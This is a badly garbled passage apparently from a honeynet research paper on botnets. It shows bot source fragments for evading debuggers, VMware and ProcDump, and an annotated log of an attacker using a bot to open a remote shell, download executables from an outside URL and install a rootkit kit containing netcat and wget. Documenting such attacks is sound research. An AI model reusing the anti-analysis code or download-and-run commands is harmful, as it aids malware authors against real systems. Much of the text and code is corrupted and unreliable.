                j e  B P X e d                 / /  y e s ,  t h e r e  i s  a  b r e a k p o i n t

                / /  j u m p  t o  r e t u r n  t r u e
                x o r  e a x ,  e a x             / /  f a l s e ,
                j m p  N O B P X                / /  n o  b r e a k p o i n t
        B P X e d :
                m o v  e a x ,  1               / /  b r e a k p o i n t  f o u n d
        N O B P X :
        `
`

�. DeWecWing VMWaUe
/ *

        e [ e c X W e V  V M Z a U e  b a c k d o o U  I / O  f X n c W i o n  c a l l

* /

# d e f i n e  V M W A R E _ M A G I C             0 x 5 6 4 D 5 8 6 8       / /  B a c k d o o r  m a g i c  n u m b e r
# d e f i n e  V M W A R E _ P O R T              0 x 5 6 5 8           / /  B a c k d o o r  p o r t  n u m b e r
# d e f i n e  V M C M D _ G E T _ V E R S I O N        0 x 0 a             / /  G e t  v e r s i o n  n u m b e r

i n t  V M B a c k D o o r ( u n s i g n e d  l o n g  * r e g _ a ,  u n s i g n e d  l o n g  * r e g _ b ,  u n s i g n e d  l o n g  * r e g _ c ,
u n s i g n e d  l o n g  * r e g _ d )  {
        u n s i g n e d  l o n g  a ,  b ,  c ,  d ;
        b = r e g _ b ? * r e g _ b : 0 ;
        c = r e g _ c ? * r e g _ c : 0 ;

        x t r y  {
                _ _ a s m  {



                        p u s h  e a x
                        p u s h  e b x
                        p u s h  e c x
                        p u s h  e d x

                        m o v  e a x ,  V M W A R E _ M A G I C
                        m o v  e b x ,  b
                        m o v  e c x ,  c
                        m o v  e d x ,  V M W A R E _ P O R T

                        i n  e a x ,  d x

                        m o v  a ,  e a x
                        m o v  b ,  e b x
                        m o v  c ,  e c x
                        m o v  d ,  e d x

                        p o p  e d x
                        p o p  e c x
                        p o p  e b x
                        p o p  e a x
                `
        `  x c a t c h ( . . . )  { `

        i f ( r e g _ a )  * r e g _ a = a ;  i f ( r e g _ b )  * r e g _ b = b ;  i f ( r e g _ c )  * r e g _ c = c ;  i f ( r e g _ d )
* r e g _ d = d ;
        r e t u r n  a ;  
`

/ *

        C h e c k  V M w a r e  v e r s i o n  o n l \

* /

i n t  V M G e t V e r s i o n ( )  {
        u n s i g n e d  l o n g  v e r s i o n ,  m a g i c ,  c o m m a n d ;
        c o m m a n d = V M C M D _ G E T _ V E R S I O N ;
        V M B a c k D o o r ( & a m p ; v e r s i o n ,  & a m p ; m a g i c ,  & a m p ; c o m m a n d ,  N U L L ) ;
        i f ( m a g i c = = V M W A R E _ M A G I C )  r e t u r n  v e r s i o n ;
        e l s e  r e t u r n  0 ;  `

/ *

        C h e c k  i f  r u n n i n g  i n s i d e  V M W a r e

* /

i n t  I s V M W a r e ( )  {
        i n t  v e r s i o n = V M G e t V e r s i o n ( ) ;
        i f ( v e r s i o n )  r e t u r n  t r u e ;  e l s e  r e t u r n  f a l s e ;  
`

�. Fooling ProcDump
/ *

        F o o l  P r o c D u m p  w i t h  i n c r e a s i n g  s i ] e

* /

v o i d  F o o l P r o c D u m p ( )  {
        _ _ a s m  {
                m o v  e a x ,  f s : [ 0 x 3 0 ]
                m o v  e a x ,  [ e a x + 0 x C ]
                m o v  e a x ,  [ e a x + 0 x C ]
                a d d  d w o r d  p t r  [ e a x + 0 x 2 0 ] ,  0 x 2 0 0 0         / /  i n c r e a s e  s i z e  v a r i a b l e
        `
`

�. Combining ever\thing
b o o l  C D e b u g D e t e c t : : I s D e b u g ( )  {
# i f d e f  _ D E B U G

        r e t u r n  f a l s e ;



# e l s e

        i f ( m _ b I s D e b u g )  r e t u r n  t r u e ;

# i f n d e f  _ W I N 3 2
        / /  A n t i - P T r a c e
/ /       i f ( p t r a c e ( P T R A C E _ T R A C E M E ,  0 ,  1 ,  0 ) & l t ; 0 )  {
/ /               m _ b I s D e b u g = t r u e ;  r e t u r n  t r u e ;
/ /       `
# e l s e
        p f n I s D e b u g g e r P r e s e n t  I s D b g P r e s e n t = N U L L ;
        H M O D U L E  h K 3 2 = G e t M o d u l e H a n d l e ( " K E R N E L 3 2 . D L L " ) ;
        i f ( ! h K 3 2 )  h K 3 2 = L o a d L i b r a r y ( " K E R N E L 3 2 . D L L " ) ;
        i f ( h K 3 2 )  {
                I s D b g P r e s e n t = ( p f n I s D e b u g g e r P r e s e n t ) G e t P r o c A d d r e s s ( h K 3 2 ,
" I s D e b u g g e r P r e s e n t " ) ;
        `

        F o o l P r o c D u m p ( ) ;
        S c r e w W i t h V i r t u a l P C ( ) ;

        u n s i g n e d  l o n g  l S t a r t T i m e = G e t T i c k C o u n t ( ) ;

        i f ( I s B P X ( & a m p ; I s B P X ) )  {
# i f d e f  D B G C O N S O L E
                g _ c C o n s D b g . L o g ( 5 ,  " B r e a k p o i n t  s e t  o n  I s B P X ,  d e b u g g e r  a c t i v e . . . \ Q " ) ;
# e n d i f  / /  D B G C O N S O L E
                m _ b I s D e b u g = t r u e ;  r e t u r n  t r u e ;
        `

        i f ( I s B P X ( & a m p ; I s S I C E L o a d e d ) )  {
# i f d e f  D B G C O N S O L E
                g _ c C o n s D b g . L o g ( 5 ,  " B r e a k p o i n t  s e t  o n  I s S I C E L o a d e d ,  d e b u g g e r
a c t i v e . . . \ Q " ) ;
# e n d i f  / /  D B G C O N S O L E
                m _ b I s D e b u g = t r u e ;  r e t u r n  t r u e ;
        `

        i f ( I s B P X ( & a m p ; I s S o f t I c e N T L o a d e d ) )  {
# i f d e f  D B G C O N S O L E
                g _ c C o n s D b g . L o g ( 5 ,  " B r e a k p o i n t  s e t  o n  I s S o f t I c e N T L o a d e d ,  d e b u g g e r
a c t i v e . . . \ Q " ) ;
# e n d i f  / /  D B G C O N S O L E
                m _ b I s D e b u g = t r u e ;  r e t u r n  t r u e ;
        `

        i f ( I s B P X ( & a m p ; I s V M W a r e ) )  {
# i f d e f  D B G C O N S O L E
                g _ c C o n s D b g . L o g ( 5 ,  " B r e a k p o i n t  s e t  o n  I s V M W a r e ,  d e b u g g e r
a c t i v e . . . \ Q " ) ;
# e n d i f  / /  D B G C O N S O L E
                m _ b I s D e b u g = t r u e ;  r e t u r n  t r u e ;
        `

        i f ( I s S o f t I c e N T L o a d e d ( ) )  {
# i f d e f  D B G C O N S O L E
                g _ c C o n s D b g . L o g ( 5 ,  " S o f t I c e  n a m e d  p i p e  e x i s t s ,  m a y b e  d e b u g g e r  i s
a c t i v e . . . \ Q " ) ;
# e n d i f  / /  D B G C O N S O L E
                m _ b I s D e b u g = t r u e ;  r e t u r n  t r u e ;
        `

        i f ( I s S I C E L o a d e d ( ) )  {
# i f d e f  D B G C O N S O L E
                g _ c C o n s D b g . L o g ( 5 ,  " S o f t I c e  i s  l o a d e d ,  d e b u g g e r  a c t i v e . . . \ Q " ) ;
# e n d i f  / /  D B G C O N S O L E
                m _ b I s D e b u g = t r u e ;  r e t u r n  t r u e ;
        `



/ /       i f ( I s V M W a r e ( ) )  {
/ / # i f d e f  D B G C O N S O L E
/ /               g _ c C o n s D b g . L o g ( 5 ,  " R u n n i n g  i n s i d e  V M W a r e ,  p r o b a b l y  h o n e y p o t . . . \ n " ) ;
/ / # e n d i f  / /  D B G C O N S O L E
/ /               m _ b I s D e b u g = t r u e ;  r e t u r n  t r u e ;
/ /       `

        i f ( I s D b g P r e s e n t )  {
                i f ( I s B P X ( & a m p ; I s D b g P r e s e n t ) )  {
# i f d e f  D B G C O N S O L E
                        g _ c C o n s D b g . L o g ( 5 ,  " B r e a k p o i n t  s e t  o n  I s D e b u g g e r P r e s e n t ,
d e b u g g e r  a c t i v e . . . \ Q " ) ;
# e n d i f  / /  D B G C O N S O L E
                        m _ b I s D e b u g = t r u e ;  r e t u r n  t r u e ;
                `

                i f ( I s D b g P r e s e n t ( ) )  {
# i f d e f  D B G C O N S O L E
                        g _ c C o n s D b g . L o g ( 5 ,  " I s D e b u g g e r P r e s e n t  r e t u r n e d  t r u e ,  d e b u g g e r
a c t i v e . . . \ Q " ) ;
# e n d i f  / /  D B G C O N S O L E
                        m _ b I s D e b u g = t r u e ;  r e t u r n  t r u e ;
                `
        `

        i f ( ( G e t T i c k C o u n t ( ) - l S t a r t T i m e )  & g t ;  5 0 0 0 )  {
# i f d e f  D B G C O N S O L E
                g _ c C o n s D b g . L o g ( 5 ,  " R o u t i n e  t o o k  t o o  l o n g  t o  e x e c u t e ,  p r o b a b l y
s i n g l e - s t e p . . . \ Q " ) ;
# e n d i f  / /  D B G C O N S O L E
                m _ b I s D e b u g = t r u e ;  r e t u r n  t r u e ;
        `
# e n d i f  / /  W I N 3 2

        r e t u r n  f a l s e ;

# e n d i f  / /  _ D E B U G
`

�. CalcXlaWing TCP/IP checkVXm in aVVembleU Wo gain Vpeed
/ *

        T h i V  c a l c X l a W e V  a  T C P / I P  c h e c k V X m

* /

# i f d e f  W I N 3 2
        # d e f i n e  U S E _ A S M
# e n d i f  / /  W I N 3 2

u n s i g n e d  s h o r t  c h e c k s u m ( u n s i g n e d  s h o r t  * b u f f e r ,  i n t  s i z e )  {
        u n s i g n e d  l o n g  c k s u m = 0 ;

# i f d e f  U S E _ A S M

        u n s i g n e d  l o n g  l s i z e = s i z e ;
        c h a r  s z M M B u f [ 8 ] ,  * p M M B u f = s z M M B u f ;

        _ _ a s m  {
                F E M M S

                M O V                      E C X ,  l s i z e                               / /
e c x = l s i z e ;
                M O V                      E D X ,  b u f f e r                              / /
e d x = b u f f e r ;
                M O V                      E B X ,  c k s u m                               / /
e b x = c k s u m ;

                C M P                      E C X ,  2                                   / /
s i z e & l t ; 2 ;
                J S                       C K S U M _ L O O P 2                              / /



g o t o  l o o p  2

C K S U M _ L O O P :

                X O R                      E A X ,  E A X                                 / /
e a x = 0 ;
                M O V                      A X ,  W O R D  P T R  [ E D X ]                       / /
a x = ( u n s i g n e d  s h o r t * ) * b u f f e r ;
                A D D                      E B X ,  E A X                                 / /
c k s u m + = ( u n s i g n e d  s h o r t * ) * b u f f e r ;

                S U B                      E C X ,  2                                   / /
s i ] e - = 2 ;
                A D D                      E D X ,  2                                   / /
b u f f e r + = 2 ;
                C M P                      E C X ,  1                                   / /
s i ] e & g t ; 1
                J G                       C K S U M _ L O O P                               / /
w h i l e ( ) ;

                C M P                      E C X ,  0                                   / /
i f ( ! s i ] e ) ;
                J E                       C K S U M _ F I T S                               / /
f i t s  i f  e q u a l

C K S U M _ L O O P 2 :

                X O R                      E A X ,  E A X                                 / /
e a x = 0 ;
                M O V                      A L ,  B Y T E  P T R  [ E D X ]                       / /
a l = ( u n s i g n e d  c h a r * ) * b u f f e r ;
                A D D                      E B X ,  E A X                                 / /
c k s u m + = ( u n s i g n e d  c h a r * ) * b u f f e r ;

                S U B                      E C X ,  1                                   / /
s i ] e - = 1 ;
                A D D                      E D X ,  1                                   / /
b u f f e r + = 1 ;
                C M P                      E C X ,  0                                   / /
s i ] e & g t ; 0 ;
                J G                       C K S U M _ L O O P 2                              / /
w h i l e ( ) ;

C K S U M _ F I T S :

                M O V                      c k s u m ,  E B X                               / /
c k s u m = e b x ;

                M O V                      E A X ,  c k s u m                               / /
e a x = c k s u m ;
                S H R                      E A X ,  1 6                                  / /
e a x = c k s u m & g t ; & g t ; 1 6 ;
                M O V                      E B X ,  c k s u m                               / /
e b x = c k s u m ;
                A N D                      E B X ,  0 x f f f f                              / /
e b x = c k s u m & a m p ; 0 x f f f f ;

                A D D                      E A X ,  E B X                                 / /
e a x = ( c k s u m & g t ; & g t ; 1 6 ) + ( c k s u m & a m p ; 0 x f f f f ) ;

                M O V                      E B X ,  E A X                                 / /
e b x = c k s u m ;
                S H R                      E B X ,  1 6                                  / /
e b x = c k s u m & g t ; & g t ; 1 6 ;
                A D D                      E A X ,  E B X                                 / /
c k s u m + = ( c k s u m & g t ; & g t ; 1 6 ) ;

                M O V                      c k s u m ,  E A X                               / /
c k s u m = E A X ;



                F E M M S
        `

# e l V e  / /  U S E _ A S M

        Z h i l e ( V i ] e & g W ; 1 )  ^  c k V X m + = * b X f f e U + + ;  V i ] e - = 2 ;  `
        i f ( V i ] e )  c k V X m + = * ( X n V i g n e d  c h a U * ) b X f f e U ;

        c k V X m = ( c k V X m & g W ; & g W ; 1 6 ) + ( c k V X m & a m p ; 0 [ f f f f ) ;
        c k V X m + = ( c k V X m & g W ; & g W ; 1 6 ) ;

# e n d i f  / /  U S E _ A S M

        U e W X U n  ( X n V i g n e d  V h o U W ) ( a c k V X m ) ;  `
* /

Appendi[ C: Chatlog - Watching attackers at their
Zork

The folloZing We[W iV a capWXUe of a VeVVion in Zhich Whe aWWackeU iVVXed Vome commandV. IW VhoZV hoZ an aWWackeU
logV inWo a YicWim hoVW and inVWallV a UooWkiW on iW. We added commenWV (maUked in Ued) Wo help beWWeU e[plain Whe

acWiYiW\.

F e b  1 9  1 3 : 3 3 : 4 1   < a f o o b a U >         . V c a U i c a  h W W p : / / Z Z Z . V 0 n g a Y e ] ] 0 . a l W e U Y i V W a . o U g / b i n d . d l l
c : \ V o n o f i g o . d l l  2

inVWUXcW Whe boW Wo doZnload Whe Vpecified file (NoWe: URL iV obfXVcaWed)

F e b  1 9  1 3 : 3 3 : 5 9   <  F R A _ X X X X X X >    [ D O W N L O A D ] :  D 0 S  D o Z n l o a d e d  3 4 2 2 . 8  K B  i n  c : \ V o n o f i g o . d l l
@  2 0 1 . 3  K B / V e c .

201.3 KB/Vec - Vo Whe machineV VeemV Wo haYe a faVW InWeUneW connecWion

F e b  1 9  1 3 : 3 5 : 0 6   < a f o o b a U >         . l o g o X W

command Wo logoXW Whe maVWeU...

F e b  1 9  1 3 : 3 5 : 0 6   <  F R A _ X X X X X X >    [ U 0 [ ] :  U V e U  f o o b a U  l o g g e d  o X W .
F e b  1 9  1 3 : 3 6 : 1 6   < a f o o b a U >         F R A _ X X X X X X  . l o g i n  W o l d o

... bXW he decideV Wo login aboXW one minXWe laWeU

F e b  1 9  1 3 : 3 6 : 1 7   <  F R A _ X X X X X X >    [ U [ X ] - S h 0 [ [ ] ] :  . : (  P a V V Z o U d  A c c e W W a W a  ) : .  .
F e b  1 9  1 3 : 3 6 : 2 3   < a f o o b a U >         . o p e n c m d

open a command Vhell on WhiV boW

F e b  1 9  1 3 : 3 6 : 2 4   <  F R A _ X X X X X X >    [ C M D ] :  R e m o W e  V h e l l  U e a d \ .
F e b  1 9  1 3 : 3 6 : 2 5   <  F R A _ X X X X X X >    M i c U o V o f W  W i n d o Z V  X P  [ Y e U V i o n  5 . 1 . 2 6 0 0 ]
F e b  1 9  1 3 : 3 6 : 2 5   <  F R A _ X X X X X X >    ( C )  C o p \ U i g h W  1 9 8 5 - 2 0 0 1  M i c U o V o f W  C o U p .
F e b  1 9  1 3 : 3 6 : 2 7   <  F R A _ X X X X X X >    C : \ D o c X m e n W V  a n d  S e W W i n g V \ K i M >

F e b  1 9  1 3 : 3 6 : 3 5   < a f o o b a U >         . l o g o X W

logoXW 

F e b  1 9  1 3 : 3 6 : 3 5   <  F R A _ X X X X X X >    [ U 0 [ ] :  U V e U  f o o b a U  l o g g e d  o X W .
F e b  1 9  1 3 : 3 6 : 4 0   < a f o o b a U >         F R A _ X X X X X X  . l o g i n  W o l d o

and login again 

F e b  1 9  1 3 : 3 6 : 4 0   <  F R A _ X X X X X X >    [ U [ X ] - S h 0 [ [ ] ] :  . : (  P a V V Z o U d  A c c e W W a W a  ) : .  .
F e b  1 9  1 3 : 3 6 : 4 1   < a f o o b a U >         . o p e n c m d



F e b  1 9  1 3 : 3 6 : 4 2   <  F R A | X X X X X X >    [ C M D ] :  R e m o t e  s h e l l  a l r e a d y  r u n n i n g .
F e b  1 9  1 3 : 3 6 : 5 4   < a f o o b a r >         . c m d  m k d i r  c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l

he issues some commands to create a director\, change to this director\ and list its contents

F e b  1 9  1 3 : 3 6 : 5 5   <  F R A | X X X X X X >    m k d i r  c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l
F e b  1 9  1 3 : 3 6 : 5 6   <  F R A | X X X X X X >    C : \ D o c u m e n t s  a n d  S e t t i n g s \ K i M >
F e b  1 9  1 3 : 3 7 : 0 0   < a f o o b a r >         . c m d  c d  c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l
F e b  1 9  1 3 : 3 7 : 0 1   <  F R A | X X X X X X >    c d  c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l
F e b  1 9  1 3 : 3 7 : 0 2   < a f o o b a r >         . c m d  d i r
F e b  1 9  1 3 : 3 7 : 0 3   <  F R A | X X X X X X >    C : \ W I N D O W S \ s y s t e m 3 2 \ k e r n e l > d i r
F e b  1 9  1 3 : 3 7 : 0 4   <  F R A | X X X X X X >     L e  v o l u m e  d a n s  l e  l e c t e u r  C  n ' a  p a s  d e  n o m .
F e b  1 9  1 3 : 3 7 : 0 5   <  F R A | X X X X X X >     L e  n u m r o  d e  s r i e  d u  v o l u m e  e s t  A 4 4 3 - 2 C A F
F e b  1 9  1 3 : 3 7 : 0 7   <  F R A | X X X X X X >     R p e r t o i r e  d e  C : \ W I N D O W S \ s y s t e m 3 2 \ k e r n e l
F e b  1 9  1 3 : 3 7 : 0 9   <  F R A | X X X X X X >    1 9 / 0 2 / 2 0 0 5   1 3 : 3 7     < r e p >           .
F e b  1 9  1 3 : 3 7 : 1 0   <  F R A | X X X X X X >    1 9 / 0 2 / 2 0 0 5   1 3 : 3 7     < r e p >           . .
F e b  1 9  1 3 : 3 7 : 1 1   <  F R A | X X X X X X >                   0  f i c h i e r ( s )                 0  o c t e t s
F e b  1 9  1 3 : 3 7 : 1 3   <  F R A | X X X X X X >                   2  R p ( s )    8 ೦9 9 0 ೦3 0 2 ೦2 0 8  o c t e t s  l i b r e s
F e b  1 9  1 3 : 3 7 : 1 4   <  F R A | X X X X X X >    C : \ W I N D O W S \ s y s t e m 3 2 \ k e r n e l >

F e b  1 9  1 3 : 3 8 : 2 5   < a f o o b a r >         . s c a r i c a
h t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / U S B d r i v e . e x e  c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e
2

download the specified file (Note: URL is obfuscated again)

F e b  1 9  1 3 : 3 8 : 2 6   <  F R A | X X X X X X >    . : ( D o W n L o A d ) : . :  D o w n l o a d i n g  U R L :
h t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / U S B d r i v e . e x e  t o :
c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e .
F e b  1 9  1 3 : 3 8 : 3 0   <  F R A | X X X X X X >    [ D O W N L O A D ] :  D 0 S  D o w n l o a d e d  9 9 0 . 6  K B  i n
c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e  @  1 9 8 . 1  K B / s e c .
F e b  1 9  1 3 : 3 8 : 4 6   < a f o o b a r >         . c m d  u s b d r i v e . e x e
F e b  1 9  1 3 : 3 8 : 4 7   <  F R A | X X X X X X >    u s b d r i v e . e x e
F e b  1 9  1 3 : 3 8 : 4 9   <  F R A | X X X X X X >    C : \ W I N D O W S \ s y s t e m 3 2 \ k e r n e l >

F e b  1 9  1 3 : 3 9 : 1 0   < a f o o b a r >         . s c a r i c a
h t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / U S B d r i v e . e x e  c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e
1
F e b  1 9  1 3 : 3 9 : 1 1   <  F R A | X X X X X X >    [ D O W N L O A D ] :  D 0 S  D o w n l o a d e d  9 9 0 . 6  K B  i n
c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e  @  9 9 0 . 6  K B / s e c .
F e b  1 9  1 3 : 3 9 : 1 1   <  F R A | X X X X X X >    . : ( D o W n L o A d ) : . :  D o w n l o a d i n g  U R L :
h t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / U S B d r i v e . e x e  t o :
c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e .
F e b  1 9  1 3 : 3 9 : 1 1   <  F R A | X X X X X X >    [ D O W N L O A D ] :  A p r o  I l  F i l e  :
c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e .
F e b  1 9  1 3 : 3 9 : 4 5   < a f o o b a r >         . s c a r i c a  h t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / m a x i . e x e
c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ m a x i . e x e  2
F e b  1 9  1 3 : 3 9 : 4 5   <  F R A | X X X X X X >    . : ( D o W n L o A d ) : . :  D o w n l o a d i n g  U R L :
h t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / m a x i . e x e  t o :  c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ m a x i . e x e .
F e b  1 9  1 3 : 3 9 : 5 7   <  F R A | X X X X X X >    [ D O W N L O A D ] :  D 0 S  D o w n l o a d e d  2 8 3 0 . 7  K B  i n
c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ m a x i . e x e  @  2 5 7 . 3  K B / s e c .
F e b  1 9  1 3 : 4 0 : 2 8   < a f o o b a r >         . c m d  m a x i . e x e  " M a X | D a v | t e s t 0 0
F e b  1 9  1 3 : 4 0 : 2 9   <  F R A | X X X X X X >    m a x i . e x e  " M a X | D a v | t e s t 0 0
F e b  1 9  1 3 : 4 0 : 3 1   <  F R A | X X X X X X >    = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
F e b  1 9  1 3 : 4 0 : 3 2   <  F R A | X X X X X X >       P i u '  l e  c o s e  c a m b i a n o ,  p i u '  r e s t a n o  l e  s t e s s e
F e b  1 9  1 3 : 4 0 : 3 3   <  F R A | X X X X X X >

F e b  1 9  1 3 : 4 0 : 3 4   <  F R A | X X X X X X >                     r 0 0 t K i t  M a k e r  2 . 0
F e b  1 9  1 3 : 4 0 : 3 5   <  F R A | X X X X X X >    = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
F e b  1 9  1 3 : 4 0 : 3 7   <  F R A | X X X X X X >    . . : : [ + ]  A n a l i s i  d e l  f i l e
F e b  1 9  1 3 : 4 0 : 3 8   <  F R A | X X X X X X >    . . : : [ + ]  L ' a r c h i v i o  c o n t i e n e  i  f i l e s  e s s e n z i a l i
F e b  1 9  1 3 : 4 0 : 3 9   <  F R A | X X X X X X >    . . : : [ + ]  L ' a r c h i v i o  c o n t i e n e  I r o f f e r
F e b  1 9  1 3 : 4 0 : 4 0   <  F R A | X X X X X X >    . . : : [ + ]  L ' a r c h i v i o  c o n t i e n e  8  t o o l s
F e b  1 9  1 3 : 4 0 : 4 1   <  F R A | X X X X X X >    . . : : [ + ]  A n a l i s i  c o m p l e t a t a
F e b  1 9  1 3 : 4 0 : 4 2   <  F R A | X X X X X X >    . . : : [ - ]
F e b  1 9  1 3 : 4 0 : 4 3   <  F R A | X X X X X X >    . . : : [ + ]  I n i z i o  u n p a c k i n g
F e b  1 9  1 3 : 4 0 : 4 4   <  F R A | X X X X X X >    . . : : [ - ]



F e b  1 9  1 3 : 4 0 : 4 5   <  F R A | X X X X X X >    . . : : [ + ]  E S T R A Z I O N E  I N  C O R S O  D I :  F i l e s  E s s e n z i a l i
F e b  1 9  1 3 : 4 0 : 4 7   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  c y g w i n 1 . d l l
F e b  1 9  1 3 : 4 0 : 4 7   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  f i r e d a e m o n . e x e
F e b  1 9  1 3 : 4 0 : 4 8   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  c m d . e x e
F e b  1 9  1 3 : 4 0 : 4 9   <  F R A | X X X X X X >    . . : : [ - ]
F e b  1 9  1 3 : 4 0 : 5 0   <  F R A | X X X X X X >    . . : : [ + ]  E S T R A Z I O N E  I N  C O R S O  D I :  I r o f f e r
F e b  1 9  1 3 : 4 0 : 5 1   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  M S S e r v . e x e
F e b  1 9  1 3 : 4 0 : 5 2   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  c y g c r y p t - 0 . d l l
F e b  1 9  1 3 : 4 0 : 5 3   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  c o n v e r t x d c c f i l e . e x e
F e b  1 9  1 3 : 4 0 : 5 4   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  S y s t e m . d l l
F e b  1 9  1 3 : 4 0 : 5 5   <  F R A | X X X X X X >    . . : : [ - ]
F e b  1 9  1 3 : 4 0 : 5 6   <  F R A | X X X X X X >    . . : : [ + ]  E S T R A Z I O N E  I N  C O R S O  D I :  F i l e s  A g g i u n t i v i
F e b  1 9  1 3 : 4 0 : 5 7   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  n e t c a t . e x e
F e b  1 9  1 3 : 4 0 : 5 8   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  p k u n z i p . e x e
F e b  1 9  1 3 : 4 0 : 5 9   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  u p t i m e . e x e
F e b  1 9  1 3 : 4 1 : 0 0   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  p s i n f o . e x e
F e b  1 9  1 3 : 4 1 : 0 1   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  p s l i s t . e x e
F e b  1 9  1 3 : 4 1 : 0 2   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  k i l l . e x e
F e b  1 9  1 3 : 4 1 : 0 3   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  u n r a r . e x e
F e b  1 9  1 3 : 4 1 : 0 4   <  F R A | X X X X X X >    . . : : [ + ]  E s t r a g g o :  w g e t . e x e
F e b  1 9  1 3 : 4 1 : 0 5   <  F R A | X X X X X X >    . . : : [ + ]  S c o m p a t t a z i o n e  c o m p l e t a t a
F e b  1 9  1 3 : 4 1 : 0 6   <  F R A | X X X X X X >    . . : : [ - ]
F e b  1 9  1 3 : 4 1 : 0 7   <  F R A | X X X X X X >    . . : : [ + ]  U p l o a d s  e  C o n f  N O N  s o n o  s e p a r a t i
F e b  1 9  1 3 : 4 1 : 0 8   <  F R A | X X X X X X >    . . : : [ + ]  N i c k n a m e :  M a X | D a v | t e s t 0 0
F e b  1 9  1 3 : 4 1 : 0 9   <  F R A | X X X X X X >    . . : : [ + ]  M o d i f i c a  c o n f  c o m p l e t a t a
F e b  1 9  1 3 : 4 1 : 1 0   <  F R A | X X X X X X >    . . : : [ + ]  A v v i o  I r o f f e r  i n  c o r s o
F e b  1 9  1 3 : 4 1 : 1 1   <  F R A | X X X X X X >    . . : : [ + ]  I r o f f e r  A v v i a t o
F e b  1 9  1 3 : 4 1 : 1 2   <  F R A | X X X X X X >    . . : : [ - ]
F e b  1 9  1 3 : 4 1 : 1 4   <  F R A | X X X X X X >    = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
F e b  1 9  1 3 : 4 1 : 1 5   <  F R A | X X X X X X >                     C o d e d  b y  E x p a n d e r s
F e b  1 9  1 3 : 4 1 : 1 6   <  F R A | X X X X X X >    = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
F e b  1 9  1 3 : 4 1 : 1 9   <  F R A | X X X X X X >    C : \ W I N D O W S \ s y s t e m 3 2 \ k e r n e l >

F e b  1 9  1 3 : 4 1 : 2 0   < a f o o b a r >         . u p t i m e

check uptime of compromised s\stem

F e b  1 9  1 3 : 4 1 : 2 0   <  F R A | X X X X X X >    [ r 0 x ] :  U p t i m e :  0 d  0 h  2 2 m .
F e b  1 9  1 3 : 4 1 : 4 3   < a f o o b a r >         . l o g o u t

finall\ log out from this bot

F e b  1 9  1 3 : 4 1 : 4 4   <  F R A | X X X X X X >    [ r 0 x ] :  U s e r  f o o b a r  l o g g e d  o u t .
F e b  1 9  1 3 : 4 1 : 4 9   < a f o o b a r >         F R A | Y Y Y Y Y Y  . l o g i n  t o l d o

... and login to another bo[

Appendi[ D: Botnet Vendors - The advantage of
hone\pots

AQWi-YiUXV cRPSaQieV OiNe S\PaQWec aUe iQWeUeVWed iQ RbWaiQiQg iQfRUPaWiRQ abRXW BRWQeWV aV Whe\ SURYide aQ e[ceOOeQW

VRXUce RQ QeZ NiQdV Rf PaOZaUe. OQce cROOecWed, WheVe RUgaQi]aWiRQV SXbOiVh iQfRUPaWiRQ RQ BRWQeWV, XQfRUWXQaWeO\ aW

WiPeV WhiV iQfRUPaWiRQ iV QRW eQRXgh. We caQ OeYeUage hRQe\SRWV WR cROOecW Whe QeceVVaU\ iQfRUPaWiRQ RXUVeOYeV aV Ze

dePRQVWUaWe beORZ. WheQ iW cRPeV WR SXbOiVhiQg iQfRUPaWiRQ RQ BRWQeWV, RUgaQi]aWiRQV OiNe S\PaQWec WaNe WZR

cRPPRQ aSSURacheV.

1. If Whe biQaU\ Rf Whe bRW iV UecRgQi]ed, iW iV igQRUed aV iWV aOUead\ NQRZQ aQd dRcXPeQWed.

2. If Whe biQaU\ Rf Whe bRW UeTXiUeV a QeZ VigQaWXUe, Whe\ caQ SXbOiVh daWa abRXW Whe BRWQeW VeUYeU.

We WhiQN WhaW iW iV beWWeU WR chRRVe Whe VecRQd RSWiRQ. PeRSOe ZhR aUe XViQg a YiUXV VcaQQeU aUe QRW SRWeQWiaO
